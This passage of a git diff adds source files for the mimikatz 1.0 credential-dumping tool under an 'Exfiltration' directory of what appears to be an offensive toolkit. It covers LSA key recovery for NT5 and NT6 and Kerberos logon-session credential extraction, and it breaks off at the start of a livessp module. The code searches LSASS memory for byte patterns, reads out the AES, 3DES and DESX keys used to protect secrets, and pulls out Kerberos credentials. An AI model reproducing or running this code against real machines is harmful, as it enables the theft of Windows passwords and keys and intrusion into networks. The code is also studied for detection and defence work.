*g_pDESXKey = NULL; *g_cbRandomKey = NULL; + + mesSucces = 0; + if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (g_Feedback - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), g_Feedback, 8, mod_mimikatz_sekurlsa::hLSASS)) + mesSucces++; + if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast<PBYTE>(g_cbRandomKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), g_cbRandomKey, sizeof(DWORD), mod_mimikatz_sekurlsa::hLSASS)) + mesSucces++; + if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast<PBYTE>(g_pRandomKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), &ptrBase, sizeof(PBYTE), mod_mimikatz_sekurlsa::hLSASS)) + { + mesSucces++; + *g_pRandomKey = new BYTE[*g_cbRandomKey]; + if(mod_memory::readMemory(ptrBase, *g_pRandomKey, *g_cbRandomKey, mod_mimikatz_sekurlsa::hLSASS)) + mesSucces++; + } + if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast<PBYTE>(g_pDESXKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), &ptrBase, sizeof(PBYTE), mod_mimikatz_sekurlsa::hLSASS)) + { + mesSucces++; + *g_pDESXKey = new BYTE[144]; + if(mod_memory::readMemory(ptrBase, *g_pDESXKey, 144, mod_mimikatz_sekurlsa::hLSASS)) + mesSucces++; + } + } + else (*outputStream) << L"mod_memory::searchMemory NT5 " << mod_system::getWinError() << endl; + return (mesSucces == 6); +} + +bool mod_mimikatz_sekurlsa_keys_nt5::uninitLSASSData() +{ + if(g_pRandomKey && *g_pRandomKey) + delete[] *g_pRandomKey; + if(g_pDESXKey && *g_pDESXKey) + delete[] *g_pDESXKey; + + return true; +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.h new file mode 100644 index 0000000..121d9c5 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.h @@ -0,0 +1,17 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "../mod_mimikatz_sekurlsa.h" + +class mod_mimikatz_sekurlsa_keys_nt5 { + +private: + static PBYTE *g_pRandomKey, *g_pDESXKey; +public: + static bool searchAndInitLSASSData(); + static bool uninitLSASSData(); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.cpp new file mode 100644 index 0000000..ac642ef --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.cpp @@ -0,0 +1,186 @@ +/* Benjamin DELPY `gentilkiwi` +http://blog.gentilkiwi.com +benjamin@gentilkiwi.com +Licence : http://creativecommons.org/licenses/by/3.0/fr/ +Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "keys_nt6.h" +#include "..\..\global.h" +HMODULE mod_mimikatz_sekurlsa_keys_nt6::hBCrypt = NULL; +PBYTE mod_mimikatz_sekurlsa_keys_nt6::AESKey = NULL, mod_mimikatz_sekurlsa_keys_nt6::DES3Key = NULL; +mod_mimikatz_sekurlsa_keys_nt6::PKIWI_BCRYPT_KEY * mod_mimikatz_sekurlsa_keys_nt6::hAesKey = NULL, * mod_mimikatz_sekurlsa_keys_nt6::h3DesKey = NULL; +BCRYPT_ALG_HANDLE * mod_mimikatz_sekurlsa_keys_nt6::hAesProvider = NULL, * mod_mimikatz_sekurlsa_keys_nt6::h3DesProvider = NULL; + +BYTE kiwiRandom3DES[24], kiwiRandomAES[16]; + +#ifdef _M_X64 +BYTE PTRN_WNO8_LsaInitializeProtectedMemory_KEY[] = {0x83, 0x64, 0x24, 0x30, 0x00, 0x44, 0x8B, 0x4C, 0x24, 0x48, 0x48, 0x8B, 0x0D}; +LONG OFFS_WNO8_hAesKey = sizeof(PTRN_WNO8_LsaInitializeProtectedMemory_KEY) + sizeof(LONG) + 5 + 3; +LONG OFFS_WN61_h3DesKey = - (2 + 2 + 2 + 5 + 3 + 4 + 2 + 5 + 5 + 2 + 2 + 2 + 5 + 5 + 8 + 3 + sizeof(long)); +LONG OFFS_WN61_InitializationVector = OFFS_WNO8_hAesKey + sizeof(long) + 3 + 4 + 5 + 5 + 2 + 2 + 2 + 4 + 3; +LONG OFFS_WN60_h3DesKey = - (6 + 2 + 2 + 5 + 3 + 4 + 2 + 5 + 5 + 6 + 2 + 2 + 5 + 5 + 8 + 3 + sizeof(long)); +LONG OFFS_WN60_InitializationVector = OFFS_WNO8_hAesKey + sizeof(long) + 3 + 4 + 5 + 5 + 2 + 2 + 6 + 4 + 3; + +BYTE PTRN_WIN8_LsaInitializeProtectedMemory_KEY[] = {0x83, 0x64, 0x24, 0x30, 0x00, 0x44, 0x8B, 0x4D, 0xD8, 0x48, 0x8B, 0x0D}; +LONG OFFS_WIN8_hAesKey = sizeof(PTRN_WIN8_LsaInitializeProtectedMemory_KEY) + sizeof(LONG) + 4 + 3; +LONG OFFS_WIN8_h3DesKey = - (6 + 2 + 2 + 6 + 3 + 4 + 2 + 4 + 5 + 6 + 2 + 2 + 6 + 5 + 8 + 3 + sizeof(long)); +LONG OFFS_WIN8_InitializationVector = OFFS_WIN8_hAesKey + sizeof(long) + 3 + 4 + 5 + 6 + 2 + 2 + 6 + 4 + 3; +#elif defined _M_IX86 +BYTE PTRN_WNO8_LsaInitializeProtectedMemory_KEY[] = {0x8B, 0xF0, 0x3B, 0xF3, 0x7C, 0x2C, 0x6A, 0x02, 0x6A, 0x10, 0x68}; +LONG OFFS_WNO8_hAesKey = -(5 + 6 + sizeof(long)); +LONG OFFS_WNO8_h3DesKey = OFFS_WNO8_hAesKey - (1 + 3 + 3 + 1 + 3 + 2 + 1 + 2 + 2 + 2 + 5 + 1 + 1 + 3 + 2 + 2 + 2 + 2 + 2 + 5 + 6 + sizeof(long)); +LONG OFFS_WNO8_InitializationVector = sizeof(PTRN_WNO8_LsaInitializeProtectedMemory_KEY); + +BYTE PTRN_WIN8_LsaInitializeProtectedMemory_KEY[] = {0x8B, 0xF0, 0x85, 0xF6, 0x78, 0x2A, 0x6A, 0x02, 0x6A, 0x10, 0x68}; +LONG OFFS_WIN8_hAesKey = -(2 + 6 + sizeof(long)); +LONG OFFS_WIN8_h3DesKey = OFFS_WIN8_hAesKey - (1 + 3 + 3 + 1 + 3 + 2 + 2 + 2 + 2 + 2 + 2 + 2 + 1 + 3 + 2 + 2 + 2 + 2 + 2 + 2 + 6 + sizeof(long)); +LONG OFFS_WIN8_InitializationVector = sizeof(PTRN_WIN8_LsaInitializeProtectedMemory_KEY); +#endif + +bool mod_mimikatz_sekurlsa_keys_nt6::searchAndInitLSASSData() +{ + if(!hBCrypt) + hBCrypt = LoadLibrary(L"bcrypt"); + + PBYTE PTRN_WNT6_LsaInitializeProtectedMemory_KEY; + ULONG SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY; + LONG OFFS_WNT6_hAesKey, OFFS_WNT6_h3DesKey, OFFS_WNT6_InitializationVector; + if(mod_system::GLOB_Version.dwBuildNumber < 8000) + { + PTRN_WNT6_LsaInitializeProtectedMemory_KEY = PTRN_WNO8_LsaInitializeProtectedMemory_KEY; + SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY = sizeof(PTRN_WNO8_LsaInitializeProtectedMemory_KEY); + OFFS_WNT6_hAesKey = OFFS_WNO8_hAesKey; +#ifdef _M_X64 + if(mod_system::GLOB_Version.dwMinorVersion < 1) + { + OFFS_WNT6_h3DesKey = OFFS_WN60_h3DesKey; + OFFS_WNT6_InitializationVector = OFFS_WN60_InitializationVector; + } + else + { + OFFS_WNT6_h3DesKey = OFFS_WN61_h3DesKey; + OFFS_WNT6_InitializationVector = OFFS_WN61_InitializationVector; + } +#elif defined _M_IX86 + OFFS_WNT6_h3DesKey = OFFS_WNO8_h3DesKey; + OFFS_WNT6_InitializationVector = OFFS_WNO8_InitializationVector; +#endif + } + else + { + PTRN_WNT6_LsaInitializeProtectedMemory_KEY = PTRN_WIN8_LsaInitializeProtectedMemory_KEY; + SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY = sizeof(PTRN_WIN8_LsaInitializeProtectedMemory_KEY); + OFFS_WNT6_hAesKey = OFFS_WIN8_hAesKey; + OFFS_WNT6_h3DesKey = OFFS_WIN8_h3DesKey; + OFFS_WNT6_InitializationVector = OFFS_WIN8_InitializationVector; + } + + PBYTE ptrBase = NULL; + DWORD mesSucces = 0; + if(mod_memory::searchMemory(mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr, mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr + mod_mimikatz_sekurlsa::localLSASRV.modBaseSize, PTRN_WNT6_LsaInitializeProtectedMemory_KEY, &ptrBase, SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY)) + { +#ifdef _M_X64 + LONG OFFS_WNT6_AdjustProvider = (mod_system::GLOB_Version.dwBuildNumber < 8000) ? 5 : 4; + PBYTE InitializationVector = reinterpret_cast<PBYTE >((ptrBase + OFFS_WNT6_InitializationVector) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT6_InitializationVector)); + hAesKey = reinterpret_cast<PKIWI_BCRYPT_KEY *>((ptrBase + OFFS_WNT6_hAesKey) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT6_hAesKey)); + h3DesKey = reinterpret_cast<PKIWI_BCRYPT_KEY *>((ptrBase + OFFS_WNT6_h3DesKey) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT6_h3DesKey)); + hAesProvider = reinterpret_cast<BCRYPT_ALG_HANDLE *>((ptrBase + OFFS_WNT6_hAesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long)) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT6_hAesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long))); + h3DesProvider = reinterpret_cast<BCRYPT_ALG_HANDLE *>((ptrBase + OFFS_WNT6_h3DesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long)) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT6_h3DesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long))); +#elif defined _M_IX86 + PBYTE InitializationVector = *reinterpret_cast<PBYTE * >(ptrBase + OFFS_WNT6_InitializationVector); + hAesKey = *reinterpret_cast<PKIWI_BCRYPT_KEY **>(ptrBase + OFFS_WNT6_hAesKey); + h3DesKey = *reinterpret_cast<PKIWI_BCRYPT_KEY **>(ptrBase + OFFS_WNT6_h3DesKey); + hAesProvider = *reinterpret_cast<BCRYPT_ALG_HANDLE **>(ptrBase + OFFS_WNT6_hAesKey + sizeof(PVOID) + 2); + h3DesProvider = *reinterpret_cast<BCRYPT_ALG_HANDLE **>(ptrBase + OFFS_WNT6_h3DesKey + sizeof(PVOID) + 2); +#endif + if(hBCrypt && LsaInitializeProtectedMemory()) + { + if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (InitializationVector - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), InitializationVector, 16, mod_mimikatz_sekurlsa::hLSASS)) + mesSucces++; + + KIWI_BCRYPT_KEY maCle; + KIWI_BCRYPT_KEY_DATA maCleData; + + if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast<PBYTE>(hAesKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), &ptrBase, sizeof(PBYTE), mod_mimikatz_sekurlsa::hLSASS)) + if(mod_memory::readMemory(ptrBase, &maCle, sizeof(KIWI_BCRYPT_KEY), mod_mimikatz_sekurlsa::hLSASS)) + if(mod_memory::readMemory(maCle.cle, &maCleData, sizeof(KIWI_BCRYPT_KEY_DATA), mod_mimikatz_sekurlsa::hLSASS)) + if(mod_memory::readMemory(reinterpret_cast<PBYTE>(maCle.cle) + FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data), &(*hAesKey)->cle->data, maCleData.size - FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data) - 2*sizeof(PVOID), mod_mimikatz_sekurlsa::hLSASS)) // 2 pointeurs internes la fin, la structure de dpart n'tait pas inutile ;) + mesSucces++; + + if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast<PBYTE>(h3DesKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), &ptrBase, sizeof(PBYTE), mod_mimikatz_sekurlsa::hLSASS)) + if(mod_memory::readMemory(ptrBase, &maCle, sizeof(KIWI_BCRYPT_KEY), mod_mimikatz_sekurlsa::hLSASS)) + if(mod_memory::readMemory(maCle.cle, &maCleData, sizeof(KIWI_BCRYPT_KEY_DATA), mod_mimikatz_sekurlsa::hLSASS)) + if(mod_memory::readMemory(reinterpret_cast<PBYTE>(maCle.cle) + FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data), &(*h3DesKey)->cle->data, maCleData.size - FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data), mod_mimikatz_sekurlsa::hLSASS)) + mesSucces++; + } + else (*outputStream) << L"LsaInitializeProtectedMemory NT6 KO" << endl; + } + else (*outputStream) << L"mod_memory::searchMemory NT6 " << mod_system::getWinError() << endl; + + return (mesSucces == 3); +} + + +bool mod_mimikatz_sekurlsa_keys_nt6::uninitLSASSData() +{ + if(hBCrypt) + { + LsaCleanupProtectedMemory(); + FreeLibrary(hBCrypt); + } + return true; +} + +bool mod_mimikatz_sekurlsa_keys_nt6::LsaInitializeProtectedMemory() +{ + bool resultat = false; + + PBCRYPT_OPEN_ALGORITHM_PROVIDER K_BCryptOpenAlgorithmProvider = reinterpret_cast<PBCRYPT_OPEN_ALGORITHM_PROVIDER>(GetProcAddress(hBCrypt, "BCryptOpenAlgorithmProvider")); + PBCRYPT_SET_PROPERTY K_BCryptSetProperty = reinterpret_cast<PBCRYPT_SET_PROPERTY>(GetProcAddress(hBCrypt, "BCryptSetProperty")); + PBCRYPT_GET_PROPERTY K_BCryptGetProperty = reinterpret_cast<PBCRYPT_GET_PROPERTY>(GetProcAddress(hBCrypt, "BCryptGetProperty")); + PBCRYPT_GENERATE_SYMMETRIC_KEY K_BCryptGenerateSymmetricKey = reinterpret_cast<PBCRYPT_GENERATE_SYMMETRIC_KEY>(GetProcAddress(hBCrypt, "BCryptGenerateSymmetricKey")); + + if(NT_SUCCESS(K_BCryptOpenAlgorithmProvider(h3DesProvider, BCRYPT_3DES_ALGORITHM, NULL, 0)) && + NT_SUCCESS(K_BCryptOpenAlgorithmProvider(hAesProvider, BCRYPT_AES_ALGORITHM, NULL, 0))) + { + if(NT_SUCCESS(K_BCryptSetProperty(*h3DesProvider, BCRYPT_CHAINING_MODE, reinterpret_cast<PBYTE>(BCRYPT_CHAIN_MODE_CBC), sizeof(BCRYPT_CHAIN_MODE_CBC), 0)) && + NT_SUCCESS(K_BCryptSetProperty(*hAesProvider, BCRYPT_CHAINING_MODE, reinterpret_cast<PBYTE>(BCRYPT_CHAIN_MODE_CFB), sizeof(BCRYPT_CHAIN_MODE_CFB), 0))) + { + DWORD DES3KeyLen, AESKeyLen, cbLen; + + if(NT_SUCCESS(K_BCryptGetProperty(*h3DesProvider, BCRYPT_OBJECT_LENGTH, reinterpret_cast<PBYTE>(&DES3KeyLen), sizeof(DES3KeyLen), &cbLen, 0)) && + NT_SUCCESS(K_BCryptGetProperty(*hAesProvider, BCRYPT_OBJECT_LENGTH, reinterpret_cast<PBYTE>(&AESKeyLen), sizeof(AESKeyLen), &cbLen, 0))) + { + DES3Key = new BYTE[DES3KeyLen]; + AESKey = new BYTE[AESKeyLen]; + + resultat = NT_SUCCESS(K_BCryptGenerateSymmetricKey(*h3DesProvider, (BCRYPT_KEY_HANDLE *) h3DesKey, DES3Key, DES3KeyLen, kiwiRandom3DES, sizeof(kiwiRandom3DES), 0)) && + NT_SUCCESS(K_BCryptGenerateSymmetricKey(*hAesProvider, (BCRYPT_KEY_HANDLE *) hAesKey, AESKey, AESKeyLen, kiwiRandomAES, sizeof(kiwiRandomAES), 0)); + } + } + } + return resultat; +} + +bool mod_mimikatz_sekurlsa_keys_nt6::LsaCleanupProtectedMemory() +{ + PBCRYTP_DESTROY_KEY K_BCryptDestroyKey = reinterpret_cast<PBCRYTP_DESTROY_KEY>(GetProcAddress(hBCrypt, "BCryptDestroyKey")); + PBCRYTP_CLOSE_ALGORITHM_PROVIDER K_BCryptCloseAlgorithmProvider = reinterpret_cast<PBCRYTP_CLOSE_ALGORITHM_PROVIDER>(GetProcAddress(hBCrypt, "BCryptCloseAlgorithmProvider")); + + if (h3DesKey ) + K_BCryptDestroyKey(*h3DesKey); + if (hAesKey ) + K_BCryptDestroyKey(*hAesKey); + + if (h3DesProvider) + K_BCryptCloseAlgorithmProvider(*h3DesProvider, 0); + if (hAesProvider ) + K_BCryptCloseAlgorithmProvider(*hAesProvider, 0); + + if(DES3Key) + delete[] DES3Key; + if(AESKey) + delete[] AESKey; + + return true; +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.h new file mode 100644 index 0000000..9b1940a --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.h @@ -0,0 +1,45 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "../mod_mimikatz_sekurlsa.h" + +class mod_mimikatz_sekurlsa_keys_nt6 { + +private: + static HMODULE hBCrypt; + + typedef struct _KIWI_BCRYPT_KEY_DATA { + DWORD size; + DWORD tag; + DWORD type; + DWORD unk0; + DWORD unk1; + DWORD unk2; + DWORD unk3; + PVOID unk4; + BYTE data; /* etc... */ + } KIWI_BCRYPT_KEY_DATA, *PKIWI_BCRYPT_KEY_DATA; + + typedef struct _KIWI_BCRYPT_KEY { + DWORD size; + DWORD type; + PVOID unk0; + PKIWI_BCRYPT_KEY_DATA cle; + PVOID unk1; + } KIWI_BCRYPT_KEY, *PKIWI_BCRYPT_KEY; + + static PBYTE DES3Key, AESKey; + static PKIWI_BCRYPT_KEY * hAesKey, * h3DesKey; + static BCRYPT_ALG_HANDLE * hAesProvider, * h3DesProvider; + + static bool LsaInitializeProtectedMemory(); + static bool LsaCleanupProtectedMemory(); + +public: + static bool searchAndInitLSASSData(); + static bool uninitLSASSData(); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.cpp new file mode 100644 index 0000000..dae52d2 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.cpp @@ -0,0 +1,135 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "kerberos.h" +#include "..\..\global.h" +mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_kerberos::pModKERBEROS = NULL; +mod_mimikatz_sekurlsa_kerberos::PKIWI_KERBEROS_LOGON_SESSION mod_mimikatz_sekurlsa_kerberos::KerbLogonSessionList = NULL; //reinterpret_cast<mod_mimikatz_sekurlsa_kerberos::PKIWI_KERBEROS_LOGON_SESSION>(NULL); +long mod_mimikatz_sekurlsa_kerberos::offsetMagic = 0; +PRTL_AVL_TABLE mod_mimikatz_sekurlsa_kerberos::KerbGlobalLogonSessionTable = NULL; //reinterpret_cast<PRTL_AVL_TABLE>(NULL); + +bool mod_mimikatz_sekurlsa_kerberos::getKerberos(vector<wstring> * arguments) +{ + vector<pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>> monProvider; + monProvider.push_back(make_pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>(getKerberosLogonData, wstring(L"kerberos"))); + return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider); +} + +bool mod_mimikatz_sekurlsa_kerberos::searchKerberosFuncs() +{ +#ifdef _M_X64 + BYTE PTRN_WALL_KerbUnloadLogonSessionTable[]= {0x48, 0x8b, 0x18, 0x48, 0x8d, 0x0d}; + LONG OFFS_WALL_KerbUnloadLogonSessionTable = sizeof(PTRN_WALL_KerbUnloadLogonSessionTable); + + BYTE PTRN_WALL_KerbFreeLogonSessionList[] = {0x48, 0x3b, 0xfe, 0x0f, 0x84}; + LONG OFFS_WALL_KerbFreeLogonSessionList = -4; +#elif defined _M_IX86 + BYTE PTRN_WNO8_KerbUnloadLogonSessionTable[]= {0x85, 0xc0, 0x74, 0x1f, 0x53}; + LONG OFFS_WNO8_KerbUnloadLogonSessionTable = -(3 + 4); + BYTE PTRN_WIN8_KerbUnloadLogonSessionTable[]= {0x85, 0xc0, 0x74, 0x2b, 0x57}; // 2c au lieu de 2b pour avant le RC + LONG OFFS_WIN8_KerbUnloadLogonSessionTable = -(6 + 4); + + BYTE PTRN_WALL_KerbFreeLogonSessionList[] = {0xeb, 0x0f, 0x6a, 0x01, 0x57, 0x56, 0xe8}; + LONG OFFS_WALL_KerbFreeLogonSessionList = -4; +#endif + if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModKERBEROS && !(KerbGlobalLogonSessionTable || KerbLogonSessionList)) + { + PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0; + + if(mod_system::GLOB_Version.dwMajorVersion < 6) + { + pointeur= reinterpret_cast<PBYTE *>(&KerbLogonSessionList); + pattern = PTRN_WALL_KerbFreeLogonSessionList; + taille = sizeof(PTRN_WALL_KerbFreeLogonSessionList); + offset = OFFS_WALL_KerbFreeLogonSessionList; + + if(mod_system::GLOB_Version.dwMinorVersion < 2) + offsetMagic = 8; + } + else + { + pointeur= reinterpret_cast<PBYTE *>(&KerbGlobalLogonSessionTable); + +#ifdef _M_X64 + pattern = PTRN_WALL_KerbUnloadLogonSessionTable; + taille = sizeof(PTRN_WALL_KerbUnloadLogonSessionTable); + offset = OFFS_WALL_KerbUnloadLogonSessionTable; +#elif defined _M_IX86 + if(mod_system::GLOB_Version.dwBuildNumber < 8000) + { + pattern = PTRN_WNO8_KerbUnloadLogonSessionTable; + taille = sizeof(PTRN_WNO8_KerbUnloadLogonSessionTable); + offset = OFFS_WNO8_KerbUnloadLogonSessionTable; + } + else + { + if(mod_system::GLOB_Version.dwBuildNumber < 8400) // petite correction pour avant la RC + PTRN_WIN8_KerbUnloadLogonSessionTable[3] = 0x2c; + pattern = PTRN_WIN8_KerbUnloadLogonSessionTable; + taille = sizeof(PTRN_WIN8_KerbUnloadLogonSessionTable); + offset = OFFS_WIN8_KerbUnloadLogonSessionTable; + } +#endif + } + + if(HMODULE monModule = LoadLibrary(L"kerberos")) + { + MODULEINFO mesInfos; + if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO))) + { + mod_memory::genericPatternSearch(pointeur, L"kerberos", pattern, taille, offset); + *pointeur += pModKERBEROS->modBaseAddr - reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll); + } + FreeLibrary(monModule); + } + } + return (pModKERBEROS && (KerbGlobalLogonSessionTable || KerbLogonSessionList)); +} + +bool WINAPI mod_mimikatz_sekurlsa_kerberos::getKerberosLogonData(__in PLUID logId, __in bool justSecurity) +{ + if(searchKerberosFuncs()) + { + PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds = NULL; + DWORD taille; + BYTE * monBuff = NULL; + + if(KerbGlobalLogonSessionTable) + { + taille = sizeof(KIWI_KERBEROS_PRIMARY_CREDENTIAL); + monBuff = new BYTE[taille]; + + if(PKIWI_KERBEROS_PRIMARY_CREDENTIAL pLogSession = reinterpret_cast<PKIWI_KERBEROS_PRIMARY_CREDENTIAL>(mod_mimikatz_sekurlsa::getPtrFromAVLByLuid(KerbGlobalLogonSessionTable, FIELD_OFFSET(KIWI_KERBEROS_PRIMARY_CREDENTIAL, LocallyUniqueIdentifier), logId))) + { + if(mod_memory::readMemory(pLogSession, monBuff, taille, mod_mimikatz_sekurlsa::hLSASS)) + { + pLogSession = reinterpret_cast<PKIWI_KERBEROS_PRIMARY_CREDENTIAL>(monBuff); + mesCreds = &pLogSession->credentials; + } + } + } + else + { + taille = sizeof(KIWI_KERBEROS_LOGON_SESSION) + offsetMagic; + monBuff = new BYTE[taille]; + if(PKIWI_KERBEROS_LOGON_SESSION pLogSession = reinterpret_cast<PKIWI_KERBEROS_LOGON_SESSION>(mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(reinterpret_cast<PLIST_ENTRY>(KerbLogonSessionList), FIELD_OFFSET(KIWI_KERBEROS_LOGON_SESSION, LocallyUniqueIdentifier) + offsetMagic, logId))) + { + if(mod_memory::readMemory(pLogSession, monBuff, taille, mod_mimikatz_sekurlsa::hLSASS)) + { + pLogSession = reinterpret_cast<PKIWI_KERBEROS_LOGON_SESSION>(monBuff); + if(offsetMagic != 0) + pLogSession = reinterpret_cast<PKIWI_KERBEROS_LOGON_SESSION>(reinterpret_cast<PBYTE>(pLogSession) + offsetMagic); + mesCreds = &pLogSession->credentials; + } + } + } + mod_mimikatz_sekurlsa::genericCredsToStream(mesCreds, justSecurity); + delete [] monBuff; + } + else (*outputStream) << L"n.a. (kerberos KO)"; + + return true; +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.h new file mode 100644 index 0000000..1418d4f --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/kerberos.h @@ -0,0 +1,70 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "../mod_mimikatz_sekurlsa.h" + +class mod_mimikatz_sekurlsa_kerberos { + +private: + typedef struct _KIWI_KERBEROS_LOGON_SESSION + { + struct _KIWI_KERBEROS_LOGON_SESSION *Flink; + struct _KIWI_KERBEROS_LOGON_SESSION *Blink; + DWORD UsageCount; + PVOID unk0; + PVOID unk1; + PVOID unk2; + DWORD unk3; + DWORD unk4; + PVOID unk5; + PVOID unk6; + PVOID unk7; + LUID LocallyUniqueIdentifier; + #ifdef _M_IX86 + DWORD unk8; + #endif + DWORD unk9; + DWORD unk10; + PVOID unk11; + DWORD unk12; + DWORD unk13; + PVOID unk14; + PVOID unk15; + PVOID unk16; + KIWI_GENERIC_PRIMARY_CREDENTIAL credentials; + } KIWI_KERBEROS_LOGON_SESSION, *PKIWI_KERBEROS_LOGON_SESSION; + + typedef struct _KIWI_KERBEROS_PRIMARY_CREDENTIAL + { + DWORD unk0; + PVOID unk1; + PVOID unk2; + PVOID unk3; + #ifdef _M_X64 + BYTE unk4[32]; + #elif defined _M_IX86 + BYTE unk4[20]; + #endif + LUID LocallyUniqueIdentifier; + #ifdef _M_X64 + BYTE unk5[44]; + #elif defined _M_IX86 + BYTE unk5[36]; + #endif + KIWI_GENERIC_PRIMARY_CREDENTIAL credentials; + } KIWI_KERBEROS_PRIMARY_CREDENTIAL, *PKIWI_KERBEROS_PRIMARY_CREDENTIAL; + + static PKIWI_KERBEROS_LOGON_SESSION KerbLogonSessionList; + static long offsetMagic; + static PRTL_AVL_TABLE KerbGlobalLogonSessionTable; + static bool searchKerberosFuncs(); + +public: + static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModKERBEROS; + static bool getKerberos(vector<wstring> * arguments); + static bool WINAPI getKerberosLogonData(__in PLUID logId, __in bool justSecurity); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.cpp new file mode 100644 index 0000000..7f64678 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.cpp @@ -0,0 +1,70 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "livessp.h" +#include "..\..\global.h" +mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_livessp::pModLIVESSP = NULL; +mod_mimikatz_sekurlsa_livessp::PKIWI_LIVESSP_LIST_ENTRY mod_mimikatz_sekurlsa_livessp::LiveGlobalLogonSessionList = NULL;//reinterpret_cast<mod_mimikatz_sekurlsa_livessp::PKIWI_LIVESSP_LIST_ENTRY>(NULL); + +bool 